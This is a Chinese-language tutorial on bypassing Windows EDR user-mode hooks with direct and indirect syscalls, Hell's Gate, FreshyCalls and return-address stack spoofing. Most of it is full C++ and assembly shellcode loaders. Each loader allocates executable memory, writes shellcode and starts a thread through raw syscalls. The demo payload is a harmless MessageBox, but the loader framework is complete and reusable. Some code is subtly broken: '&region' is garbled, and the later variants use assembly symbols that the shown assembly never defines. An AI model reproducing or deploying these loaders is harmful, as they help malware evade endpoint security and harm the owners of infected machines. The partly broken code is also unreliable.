系统调用(syscall)
Syscall用户态 API Hook 让 EDR 能动态审查 Windows API。多数 EDR 用 Inline Hook:在内存里插入 jmp,把执行流拐进 EDR 的 hooking.dll。研判当前 Windows API 不是恶意,就跳回 ntdll.dll,再 syscall 进内核;研判是恶意,就终止执行。要看真正的汇编和 SSN,必须去 ntdll.dll 文件里看函数。其他地
Syscall
用户态 API Hook 让 EDR 能动态审查 Windows API。多数 EDR 用 Inline Hook:在内存里插入 jmp,把执行流拐进 EDR 的 hooking.dll。
研判当前 Windows API 不是恶意,就跳回 ntdll.dll,再 syscall 进内核;研判是恶意,就终止执行。
要看真正的汇编和 SSN,必须去 ntdll.dll 文件里看函数。其他地方往往只能看到跳进这个文件,看不到具体指令。
; __int64 NtSetUuidSeed()
public NtSetUuidSeed
NtSetUuidSeed proc near ; DATA XREF: .rdata:0000000180177C74↓o
; .rdata:off_1801B8128↓o ...
mov r10, rcx ; NtSetUuidSeed
mov eax, 1C3h
test byte ptr ds:7FFE0308h, 1
jnz short loc_180164615
syscall ; Low latency system call
retn
; ---------------------------------------------------------------------------
loc_180164615: ; CODE XREF: NtSetUuidSeed+10↑j
int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
; DS:SI -> counted CR-terminated command string
retn
NtSetUuidSeed endp在 IDA 里看这些 SSN 会发现是按顺序排的,比如 110、111,一直排到最后一个。
直接调用
就是直接获取 SSN,然后 syscall 进内核执行。可能被发现:这段汇编一般在 ntdll 里,实际却落在本模块 .text,有异常会被检测。
硬编码:直接把 SSN 写进汇编。
动态解析 SSN:加载 ntdll.dll,找到目标函数,偏移 4 字节就是 SSN。
汇编
.data
public ssn_alloc
public ssn_write
public ssn_create
ssn_alloc DWORD 0
ssn_write DWORD 0
ssn_create DWORD 0
.code
public sysall
public syswir
public syscrea
sysall PROC
mov r10, rcx
mov eax, ssn_alloc
syscall
ret
sysall ENDP
syswir PROC
mov r10, rcx
mov eax, ssn_write
syscall
ret
syswir ENDP
syscrea PROC
mov r10, rcx
mov eax, ssn_create
syscall
ret
syscrea ENDP
END源码
#include<iostream>
#include<stdio.h>
#include<Windows.h>
#include<winternl.h>
using namespace std;
extern "C" NTSTATUS sysall(
HANDLE a,PVOID* b,ULONG_PTR c,PSIZE_T d,ULONG e,ULONG f
);
extern "C" NTSTATUS syswir(
HANDLE a,PVOID b,PVOID c,SIZE_T d,PSIZE_T e
);
extern "C" NTSTATUS syscrea(
PHANDLE a, ACCESS_MASK b, PVOID c, HANDLE e, PVOID f, PVOID g, ULONG h, SIZE_T i, SIZE_T j, SIZE_T k, PVOID m
);
extern "C" DWORD ssn_alloc;
extern "C" DWORD ssn_write;
extern "C" DWORD ssn_create;
DWORD readssn(const char* name)
{
HMODULE dll = GetModuleHandleA("ntdll.dll");
BYTE* addr = (BYTE*)GetProcAddress(dll, name);
if (!addr)
return 0;
if (addr[0] == 0x4C && addr[1] == 0x8B && addr[2] == 0xD1 && addr[3] == 0xB8)
return *(DWORD*)(addr + 4);
return 0;
}
int main()
{
HMODULE user32 = LoadLibraryA("user32.dll");
FARPROC pMessageBoxA = GetProcAddress(user32, "MessageBoxA");
ssn_alloc = readssn("NtAllocateVirtualMemory");
ssn_write = readssn("NtWriteVirtualMemory");
ssn_create = readssn("NtCreateThreadEx");
printf("ssn alloc=%X write=%X create=%X\n", ssn_alloc, ssn_write, ssn_create);
if (!ssn_alloc || !ssn_write || !ssn_create)
return 1;
unsigned char shellcode[] = {
0x48, 0x83, 0xEC, 0x28,
0x48, 0x31, 0xC9,
0x48, 0x8D, 0x15, 0x1B, 0x00, 0x00, 0x00,
0x4C, 0x8D, 0x05, 0x24, 0x00, 0x00, 0x00,
0x4D, 0x31, 0xC9,
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x28,
0xC3,
'H','e','l','l','o',0,0,0,0,0,0,0,0,0,0,0,
's','y','s','c','a','l','l',0,0,0,0,0,0,0,0,0
};
memcpy(shellcode + 0x1A, &pMessageBoxA, sizeof(pMessageBoxA));
PVOID pshellcode = NULL;
SIZE_T region = sizeof(shellcode);
NTSTATUS sta = sysall((HANDLE)-1, &pshellcode, 0, ®ion,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (sta != 0) {
printf("sysall failed: 0x%X\n", sta);
return 1;
}
sta = syswir((HANDLE)-1, pshellcode, shellcode, sizeof(shellcode), NULL);
if (sta != 0) {
printf("syswir failed: 0x%X\n", sta);
return 1;
}
HANDLE htread = NULL;
sta = syscrea(&htread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pshellcode, NULL, FALSE, 0, 0, 0, NULL);
if (sta != 0) {
printf("syscrea failed: 0x%X\n", sta);
return 1;
}
WaitForSingleObject(htread, INFINITE);
CloseHandle(htread);
VirtualFree(pshellcode, 0, MEM_RELEASE);
printf("Shellcode executed successfully.\n");
return 0;
}Hell’s Gate(地狱之门)
程序被 Hook 时用。EDR 用 inline hook 改函数前几个机器码,这时读到的 SSN 是错的。
原理:每个 SSN 上下是连续的,按这个特征往两边查,就能找回需要的 SSN。两种找法:
- 在本模块附近找 syscall,从上往下找到 0xB8,后面就是 SSN
- 直接查上面或下面那个函数,没被 Hook 就用它的 SSN 减去(或加上)隔了几个函数,得到自己的 SSN
代码(asm 文件同上):
#include<iostream>
#include<stdio.h>
#include<Windows.h>
#include<winternl.h>
using namespace std;
extern "C" NTSTATUS sysall(
HANDLE a,PVOID* b,ULONG_PTR c,PSIZE_T d,ULONG e,ULONG f
);
extern "C" NTSTATUS syswir(
HANDLE a,PVOID b,PVOID c,SIZE_T d,PSIZE_T e
);
extern "C" NTSTATUS syscrea(
PHANDLE a, ACCESS_MASK b, PVOID c, HANDLE e, PVOID f, PVOID g, ULONG h, SIZE_T i, SIZE_T j, SIZE_T k, PVOID m
);
extern "C" DWORD ssn_alloc;
extern "C" DWORD ssn_write;
extern "C" DWORD ssn_create;
typedef struct _LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_ENTRY;
DWORD64 getfun(const char* name)
{
PEB* peb = (PEB*)__readgsqword(0x60);
LIST_ENTRY* head = &peb->Ldr->InMemoryOrderModuleList;
DWORD64 dllbase = 0;
for (LIST_ENTRY* cur = head->Flink; cur != head; cur = cur->Flink)
{
LDR_ENTRY* entry = CONTAINING_RECORD(cur, LDR_ENTRY, InMemoryOrderLinks);
if (entry->BaseDllName.Buffer && _wcsicmp(entry->BaseDllName.Buffer, L"ntdll.dll") == 0)
{
dllbase = (DWORD64)entry->DllBase;
break;
}
}
if (!dllbase)
return 0;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllbase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllbase + dos->e_lfanew);
DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp1 = (PIMAGE_EXPORT_DIRECTORY)(dllbase + rva);
DWORD* namerva = (DWORD*)(dllbase + exp1->AddressOfNames);
DWORD* funrva = (DWORD*)(dllbase + exp1->AddressOfFunctions);
WORD* ord = (WORD*)(dllbase + exp1->AddressOfNameOrdinals);
for (DWORD i = 0; i < exp1->NumberOfNames; i++)
{
const char* str = (const char*)(dllbase + namerva[i]);
if (!strcmp(name, str))
return dllbase + funrva[ord[i]];
}
return 0;
}
static int is_stub(BYTE* p)//判断是否有被hook
{
return p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8
&& p[6] == 0x00 && p[7] == 0x00;
}
DWORD readssn1(const char* name)
{
BYTE* p = (BYTE*)getfun(name);
if (!p)
return (DWORD)-1;
if (is_stub(p))
return *(DWORD*)(p + 4);
for (int i = 1; i < 500; i++)
{
BYTE* down = p + i * 0x20;
BYTE* up = p - i * 0x20;
if (is_stub(down))
return *(DWORD*)(down + 4) - i;
if (is_stub(up))
return *(DWORD*)(up + 4) + i;
}
return (DWORD)-1;
}
int main()
{
HMODULE user32 = LoadLibraryA("user32.dll");
FARPROC pMessageBoxA = GetProcAddress(user32, "MessageBoxA");
ssn_alloc = readssn1("NtAllocateVirtualMemory");
ssn_write = readssn1("NtWriteVirtualMemory");
ssn_create = readssn1("NtCreateThreadEx");
printf("ssn alloc=%X write=%X create=%X\n", ssn_alloc, ssn_write, ssn_create);
if (ssn_alloc == (DWORD)-1 || ssn_write == (DWORD)-1 || ssn_create == (DWORD)-1)
return 1;
unsigned char shellcode[] = {
0x48, 0x83, 0xEC, 0x28,
0x48, 0x31, 0xC9,
0x48, 0x8D, 0x15, 0x1B, 0x00, 0x00, 0x00,
0x4C, 0x8D, 0x05, 0x24, 0x00, 0x00, 0x00,
0x4D, 0x31, 0xC9,
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x28,
0xC3,
'H','e','l','l','o',0,0,0,0,0,0,0,0,0,0,0,
's','y','s','c','a','l','l',0,0,0,0,0,0,0,0,0
};
memcpy(shellcode + 0x1A, &pMessageBoxA, sizeof(pMessageBoxA));
PVOID pshellcode = NULL;
SIZE_T region = sizeof(shellcode);
NTSTATUS sta = sysall((HANDLE)-1, &pshellcode, 0, ®ion,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (sta != 0) {
printf("sysall failed: 0x%X\n", sta);
return 1;
}
sta = syswir((HANDLE)-1, pshellcode, shellcode, sizeof(shellcode), NULL);
if (sta != 0) {
printf("syswir failed: 0x%X\n", sta);
return 1;
}
HANDLE htread = NULL;
sta = syscrea(&htread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pshellcode, NULL, FALSE, 0, 0, 0, NULL);
if (sta != 0) {
printf("syscrea failed: 0x%X\n", sta);
return 1;
}
WaitForSingleObject(htread, INFINITE);
CloseHandle(htread);
VirtualFree(pshellcode, 0, MEM_RELEASE);
printf("Shellcode executed successfully.\n");
return 0;
}FreshyCalls
完全不看汇编,从导出表入手。SSN 是排好序的,按导出函数地址排序,地址最小的是 0,往后推。只用看排序后的下标就能拿到 SSN,不用管有没有被 Hook。
#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>
#include<winternl.h>
using namespace std;
extern "C" NTSTATUS sysall(
HANDLE a,PVOID* b,ULONG_PTR c,PSIZE_T d,ULONG e,ULONG f
);
extern "C" NTSTATUS syswir(
HANDLE a,PVOID b,PVOID c,SIZE_T d,PSIZE_T e
);
extern "C" NTSTATUS syscrea(
PHANDLE a, ACCESS_MASK b, PVOID c, HANDLE e, PVOID f, PVOID g, ULONG h, SIZE_T i, SIZE_T j, SIZE_T k, PVOID m
);
extern "C" DWORD ssn_alloc;
extern "C" DWORD ssn_write;
extern "C" DWORD ssn_create;
typedef struct _LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_ENTRY;
#define MAX_ZW 1024
struct ZwStub {
const char* name;
DWORD64 addr;
};
static ZwStub g_zw[MAX_ZW];
static int g_zw_count;
static int cmp_addr(const void* a, const void* b)
{
DWORD64 x = ((const ZwStub*)a)->addr;
DWORD64 y = ((const ZwStub*)b)->addr;
if (x < y) return -1;
if (x > y) return 1;
return 0;
}
static DWORD64 ntdll_base()
{
PEB* peb = (PEB*)__readgsqword(0x60);
LIST_ENTRY* head = &peb->Ldr->InMemoryOrderModuleList;
for (LIST_ENTRY* cur = head->Flink; cur != head; cur = cur->Flink)
{
LDR_ENTRY* entry = CONTAINING_RECORD(cur, LDR_ENTRY, InMemoryOrderLinks);
if (entry->BaseDllName.Buffer && _wcsicmp(entry->BaseDllName.Buffer, L"ntdll.dll") == 0)
return (DWORD64)entry->DllBase;
}
return 0;
}
static void build_ssn_table()
{
if (g_zw_count)
return;
DWORD64 dllbase = ntdll_base();
if (!dllbase)
return;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllbase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllbase + dos->e_lfanew);
DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp1 = (PIMAGE_EXPORT_DIRECTORY)(dllbase + rva);
DWORD* namerva = (DWORD*)(dllbase + exp1->AddressOfNames);
DWORD* funrva = (DWORD*)(dllbase + exp1->AddressOfFunctions);
WORD* ord = (WORD*)(dllbase + exp1->AddressOfNameOrdinals);
for (DWORD i = 0; i < exp1->NumberOfNames && g_zw_count < MAX_ZW; i++)
{
const char* str = (const char*)(dllbase + namerva[i]);
if (str[0] != 'Z' || str[1] != 'w')
continue;
g_zw[g_zw_count].name = str;
g_zw[g_zw_count].addr = dllbase + funrva[ord[i]];
g_zw_count++;
}
qsort(g_zw, g_zw_count, sizeof(ZwStub), cmp_addr);
}
DWORD readssn1(const char* name)
{
build_ssn_table();
char zwname[128];
const char* look = name;
if (name[0] == 'N' && name[1] == 't')
{
zwname[0] = 'Z';
zwname[1] = 'w';
strcpy_s(zwname + 2, sizeof(zwname) - 2, name + 2);
look = zwname;
}
for (int i = 0; i < g_zw_count; i++)
{
if (!strcmp(g_zw[i].name, look))
return (DWORD)i;
}
return (DWORD)-1;
}
int main()
{
HMODULE user32 = LoadLibraryA("user32.dll");
FARPROC pMessageBoxA = GetProcAddress(user32, "MessageBoxA");
ssn_alloc = readssn1("NtAllocateVirtualMemory");
ssn_write = readssn1("NtWriteVirtualMemory");
ssn_create = readssn1("NtCreateThreadEx");
printf("ssn alloc=%X write=%X create=%X\n", ssn_alloc, ssn_write, ssn_create);
if (ssn_alloc == (DWORD)-1 || ssn_write == (DWORD)-1 || ssn_create == (DWORD)-1)
return 1;
unsigned char shellcode[] = {
0x48, 0x83, 0xEC, 0x28,
0x48, 0x31, 0xC9,
0x48, 0x8D, 0x15, 0x1B, 0x00, 0x00, 0x00,
0x4C, 0x8D, 0x05, 0x24, 0x00, 0x00, 0x00,
0x4D, 0x31, 0xC9,
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x28,
0xC3,
'H','e','l','l','o',0,0,0,0,0,0,0,0,0,0,0,
's','y','s','c','a','l','l',0,0,0,0,0,0,0,0,0
};
memcpy(shellcode + 0x1A, &pMessageBoxA, sizeof(pMessageBoxA));
PVOID pshellcode = NULL;
SIZE_T region = sizeof(shellcode);
NTSTATUS sta = sysall((HANDLE)-1, &pshellcode, 0, ®ion,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (sta != 0) {
printf("sysall failed: 0x%X\n", sta);
return 1;
}
sta = syswir((HANDLE)-1, pshellcode, shellcode, sizeof(shellcode), NULL);
if (sta != 0) {
printf("syswir failed: 0x%X\n", sta);
return 1;
}
HANDLE htread = NULL;
sta = syscrea(&htread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pshellcode, NULL, FALSE, 0, 0, 0, NULL);
if (sta != 0) {
printf("syscrea failed: 0x%X\n", sta);
return 1;
}
WaitForSingleObject(htread, INFINITE);
CloseHandle(htread);
VirtualFree(pshellcode, 0, MEM_RELEASE);
printf("Shellcode executed successfully.\n");
return 0;
}间接调用
直接 jmp 到 ntdll 里要执行的 syscall 位置。可能从栈上被发现:栈回溯和直接调用不一样。可以用栈欺骗,但还是有弊端。现在比较主流。
#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>
#include<winternl.h>
using namespace std;
extern "C" NTSTATUS sysall(
HANDLE a,PVOID* b,ULONG_PTR c,PSIZE_T d,ULONG e,ULONG f
);
extern "C" NTSTATUS syswir(
HANDLE a,PVOID b,PVOID c,SIZE_T d,PSIZE_T e
);
extern "C" NTSTATUS syscrea(
PHANDLE a, ACCESS_MASK b, PVOID c, HANDLE e, PVOID f, PVOID g, ULONG h, SIZE_T i, SIZE_T j, SIZE_T k, PVOID m
);
extern "C" DWORD ssn_alloc;
extern "C" DWORD ssn_write;
extern "C" DWORD ssn_create;
extern "C" UINT_PTR sys_addr;
typedef struct _LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_ENTRY;
#define MAX_ZW 1024
struct ZwStub {
const char* name;
DWORD64 addr;
};
static ZwStub g_zw[MAX_ZW];
static int g_zw_count;
static int cmp_addr(const void* a, const void* b)
{
DWORD64 x = ((const ZwStub*)a)->addr;
DWORD64 y = ((const ZwStub*)b)->addr;
if (x < y) return -1;
if (x > y) return 1;
return 0;
}
static DWORD64 ntdll_base()
{
PEB* peb = (PEB*)__readgsqword(0x60);
LIST_ENTRY* head = &peb->Ldr->InMemoryOrderModuleList;
for (LIST_ENTRY* cur = head->Flink; cur != head; cur = cur->Flink)
{
LDR_ENTRY* entry = CONTAINING_RECORD(cur, LDR_ENTRY, InMemoryOrderLinks);
if (entry->BaseDllName.Buffer && _wcsicmp(entry->BaseDllName.Buffer, L"ntdll.dll") == 0)
return (DWORD64)entry->DllBase;
}
return 0;
}
static void build_ssn_table()
{
if (g_zw_count)
return;
DWORD64 dllbase = ntdll_base();
if (!dllbase)
return;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllbase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllbase + dos->e_lfanew);
DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp1 = (PIMAGE_EXPORT_DIRECTORY)(dllbase + rva);
DWORD* namerva = (DWORD*)(dllbase + exp1->AddressOfNames);
DWORD* funrva = (DWORD*)(dllbase + exp1->AddressOfFunctions);
WORD* ord = (WORD*)(dllbase + exp1->AddressOfNameOrdinals);
for (DWORD i = 0; i < exp1->NumberOfNames && g_zw_count < MAX_ZW; i++)
{
const char* str = (const char*)(dllbase + namerva[i]);
if (str[0] != 'Z' || str[1] != 'w')
continue;
g_zw[g_zw_count].name = str;
g_zw[g_zw_count].addr = dllbase + funrva[ord[i]];
g_zw_count++;
}
qsort(g_zw, g_zw_count, sizeof(ZwStub), cmp_addr);
for (int i = 0; i < g_zw_count && !sys_addr; i++)
{
BYTE* p = (BYTE*)g_zw[i].addr;
for (int j = 0; j < 32; j++)
{
if (p[j] == 0x0F && p[j + 1] == 0x05 && p[j + 2] == 0xC3)
{
sys_addr = (UINT_PTR)(p + j);
break;
}
}
}
}
DWORD readssn1(const char* name)
{
build_ssn_table();
char zwname[128];
const char* look = name;
if (name[0] == 'N' && name[1] == 't')
{
zwname[0] = 'Z';
zwname[1] = 'w';
strcpy_s(zwname + 2, sizeof(zwname) - 2, name + 2);
look = zwname;
}
for (int i = 0; i < g_zw_count; i++)
{
if (!strcmp(g_zw[i].name, look))
return (DWORD)i;
}
return (DWORD)-1;
}
int main()
{
HMODULE user32 = LoadLibraryA("user32.dll");
FARPROC pMessageBoxA = GetProcAddress(user32, "MessageBoxA");
ssn_alloc = readssn1("NtAllocateVirtualMemory");
ssn_write = readssn1("NtWriteVirtualMemory");
ssn_create = readssn1("NtCreateThreadEx");
printf("ssn alloc=%X write=%X create=%X gadget=%p\n",
ssn_alloc, ssn_write, ssn_create, (void*)sys_addr);
if (ssn_alloc == (DWORD)-1 || ssn_write == (DWORD)-1 || ssn_create == (DWORD)-1 || !sys_addr)
return 1;
unsigned char shellcode[] = {
0x48, 0x83, 0xEC, 0x28,
0x48, 0x31, 0xC9,
0x48, 0x8D, 0x15, 0x1B, 0x00, 0x00, 0x00,
0x4C, 0x8D, 0x05, 0x24, 0x00, 0x00, 0x00,
0x4D, 0x31, 0xC9,
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x28,
0xC3,
'H','e','l','l','o',0,0,0,0,0,0,0,0,0,0,0,
's','y','s','c','a','l','l',0,0,0,0,0,0,0,0,0
};
memcpy(shellcode + 0x1A, &pMessageBoxA, sizeof(pMessageBoxA));
PVOID pshellcode = NULL;
SIZE_T region = sizeof(shellcode);
NTSTATUS sta = sysall((HANDLE)-1, &pshellcode, 0, ®ion,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (sta != 0) {
printf("sysall failed: 0x%X\n", sta);
return 1;
}
sta = syswir((HANDLE)-1, pshellcode, shellcode, sizeof(shellcode), NULL);
if (sta != 0) {
printf("syswir failed: 0x%X\n", sta);
return 1;
}
HANDLE htread = NULL;
sta = syscrea(&htread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pshellcode, NULL, FALSE, 0, 0, 0, NULL);
if (sta != 0) {
printf("syscrea failed: 0x%X\n", sta);
return 1;
}
WaitForSingleObject(htread, INFINITE);
CloseHandle(htread);
VirtualFree(pshellcode, 0, MEM_RELEASE);
printf("Shellcode executed successfully.\n");
return 0;
}堆栈欺骗
正常程序执行完 ntdll 里的函数,返回的是 ntdll 或 kernel 里的某个位置。间接 syscall 的返回地址会直接落到 exe,栈回溯能看出来。
做法:伪造返回,先 ret 到 kernel 里 jmp rax 这类 gadget,真正的 exe 续执行地址放在对应寄存器里。
#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>
#include<winternl.h>
using namespace std;
extern "C" NTSTATUS sysall(
HANDLE a,PVOID* b,ULONG_PTR c,PSIZE_T d,ULONG e,ULONG f
);
extern "C" NTSTATUS syswir(
HANDLE a,PVOID b,PVOID c,SIZE_T d,PSIZE_T e
);
extern "C" NTSTATUS syscrea(
PHANDLE a, ACCESS_MASK b, PVOID c, HANDLE e, PVOID f, PVOID g, ULONG h, SIZE_T i, SIZE_T j, SIZE_T k, PVOID m
);
extern "C" DWORD ssn_alloc;
extern "C" DWORD ssn_write;
extern "C" DWORD ssn_create;
extern "C" UINT_PTR sys_addr;
extern "C" UINT_PTR jmp_gadget;
typedef struct _LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_ENTRY;
#define MAX_ZW 1024
struct ZwStub {
const char* name;
DWORD64 addr;
};
static ZwStub g_zw[MAX_ZW];
static int g_zw_count;
static int cmp_addr(const void* a, const void* b)
{
DWORD64 x = ((const ZwStub*)a)->addr;
DWORD64 y = ((const ZwStub*)b)->addr;
if (x < y) return -1;
if (x > y) return 1;
return 0;
}
static DWORD64 ntdll_base()
{
PEB* peb = (PEB*)__readgsqword(0x60);
LIST_ENTRY* head = &peb->Ldr->InMemoryOrderModuleList;
for (LIST_ENTRY* cur = head->Flink; cur != head; cur = cur->Flink)
{
LDR_ENTRY* entry = CONTAINING_RECORD(cur, LDR_ENTRY, InMemoryOrderLinks);
if (entry->BaseDllName.Buffer && _wcsicmp(entry->BaseDllName.Buffer, L"ntdll.dll") == 0)
return (DWORD64)entry->DllBase;
}
return 0;
}
static void build_ssn_table()
{
if (g_zw_count)
return;
DWORD64 dllbase = ntdll_base();
if (!dllbase)
return;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllbase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dllbase + dos->e_lfanew);
DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp1 = (PIMAGE_EXPORT_DIRECTORY)(dllbase + rva);
DWORD* namerva = (DWORD*)(dllbase + exp1->AddressOfNames);
DWORD* funrva = (DWORD*)(dllbase + exp1->AddressOfFunctions);
WORD* ord = (WORD*)(dllbase + exp1->AddressOfNameOrdinals);
for (DWORD i = 0; i < exp1->NumberOfNames && g_zw_count < MAX_ZW; i++)
{
const char* str = (const char*)(dllbase + namerva[i]);
if (str[0] != 'Z' || str[1] != 'w')
continue;
g_zw[g_zw_count].name = str;
g_zw[g_zw_count].addr = dllbase + funrva[ord[i]];
g_zw_count++;
}
qsort(g_zw, g_zw_count, sizeof(ZwStub), cmp_addr);
for (int i = 0; i < g_zw_count && !sys_addr; i++)
{
BYTE* p = (BYTE*)g_zw[i].addr;
for (int j = 0; j < 32; j++)
{
if (p[j] == 0x0F && p[j + 1] == 0x05 && p[j + 2] == 0xC3)
{
sys_addr = (UINT_PTR)(p + j);
break;
}
}
}
}
DWORD readssn1(const char* name)
{
build_ssn_table();
char zwname[128];
const char* look = name;
if (name[0] == 'N' && name[1] == 't')
{
zwname[0] = 'Z';
zwname[1] = 'w';
strcpy_s(zwname + 2, sizeof(zwname) - 2, name + 2);
look = zwname;
}
for (int i = 0; i < g_zw_count; i++)
{
if (!strcmp(g_zw[i].name, look))
return (DWORD)i;
}
return (DWORD)-1;
}
static UINT_PTR find_jmp_rbx(HMODULE mod)
{
if (!mod)
return 0;
BYTE* base = (BYTE*)mod;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
{
if (!(sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE))
continue;
BYTE* p = base + sec[i].VirtualAddress;
DWORD sz = sec[i].Misc.VirtualSize;
if (!sz)
sz = sec[i].SizeOfRawData;
for (DWORD j = 0; j + 1 < sz; j++)
{
if (p[j] == 0xFF && p[j + 1] == 0xE3)
return (UINT_PTR)(p + j);
}
}
return 0;
}
int main()
{
HMODULE user32 = LoadLibraryA("user32.dll");
FARPROC pMessageBoxA = GetProcAddress(user32, "MessageBoxA");
ssn_alloc = readssn1("NtAllocateVirtualMemory");
ssn_write = readssn1("NtWriteVirtualMemory");
ssn_create = readssn1("NtCreateThreadEx");
jmp_gadget = find_jmp_rbx(GetModuleHandleA("kernel32.dll"));
if (!jmp_gadget)
jmp_gadget = find_jmp_rbx(GetModuleHandleA("kernelbase.dll"));
if (!jmp_gadget)
jmp_gadget = find_jmp_rbx(GetModuleHandleA("ntdll.dll"));
printf("ssn alloc=%X write=%X create=%X syscall=%p jmp_rbx=%p\n",
ssn_alloc, ssn_write, ssn_create, (void*)sys_addr, (void*)jmp_gadget);
if (ssn_alloc == (DWORD)-1 || ssn_write == (DWORD)-1 || ssn_create == (DWORD)-1 || !sys_addr || !jmp_gadget)
return 1;
unsigned char shellcode[] = {
0x48, 0x83, 0xEC, 0x28,
0x48, 0x31, 0xC9,
0x48, 0x8D, 0x15, 0x1B, 0x00, 0x00, 0x00,
0x4C, 0x8D, 0x05, 0x24, 0x00, 0x00, 0x00,
0x4D, 0x31, 0xC9,
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x28,
0xC3,
'H','e','l','l','o',0,0,0,0,0,0,0,0,0,0,0,
's','y','s','c','a','l','l',0,0,0,0,0,0,0,0,0
};
memcpy(shellcode + 0x1A, &pMessageBoxA, sizeof(pMessageBoxA));
PVOID pshellcode = NULL;
SIZE_T region = sizeof(shellcode);
NTSTATUS sta = sysall((HANDLE)-1, &pshellcode, 0, ®ion,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (sta != 0) {
printf("sysall failed: 0x%X\n", sta);
return 1;
}
sta = syswir((HANDLE)-1, pshellcode, shellcode, sizeof(shellcode), NULL);
if (sta != 0) {
printf("syswir failed: 0x%X\n", sta);
return 1;
}
HANDLE htread = NULL;
sta = syscrea(&htread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pshellcode, NULL, FALSE, 0, 0, 0, NULL);
if (sta != 0) {
printf("syscrea failed: 0x%X\n", sta);
return 1;
}
WaitForSingleObject(htread, INFINITE);
CloseHandle(htread);
VirtualFree(pshellcode, 0, MEM_RELEASE);
printf("Shellcode executed successfully.\n");
return 0;
}优先在 kernel32 / kernelbase 里找,找不到再退回 ntdll。汇编侧 syscall 之后不直接 ret 回 exe,而是经过这个 gadget。
这只能骗浅层栈回溯,ETW、内核回调、完整 call stack 对得上 gadget 链时仍能看出来。
对照
方法 | SSN 怎么来 | syscall 在哪 | 主要问题 |
硬编码 | 写死 | 本模块 | 一升级就失效 |
动态读 stub | ntdll+4 | 本模块 | 函数头被 Hook 就读错 |
Hell’s Gate | 邻居连续号 | 本模块 | 依赖 0x20 间距和连续 SSN |
FreshyCalls | Zw 导出按地址排序的下标 | 本模块 | 不看字节,不怕头被改 |
间接调用 | 上面任意一种 | ntdll 的 syscall;ret | 返回地址仍可能落在 exe |
栈欺骗 | 同上 | ntdll gadget + kernel jmp | 浅层好看,深层仍能查 |
流程可以记成:先拿到对的 SSN(Hell’s Gate / FreshyCalls)→ 再决定 syscall 从哪执行(直接 / 间接)→ 再决定返回地址像不像(栈欺骗)。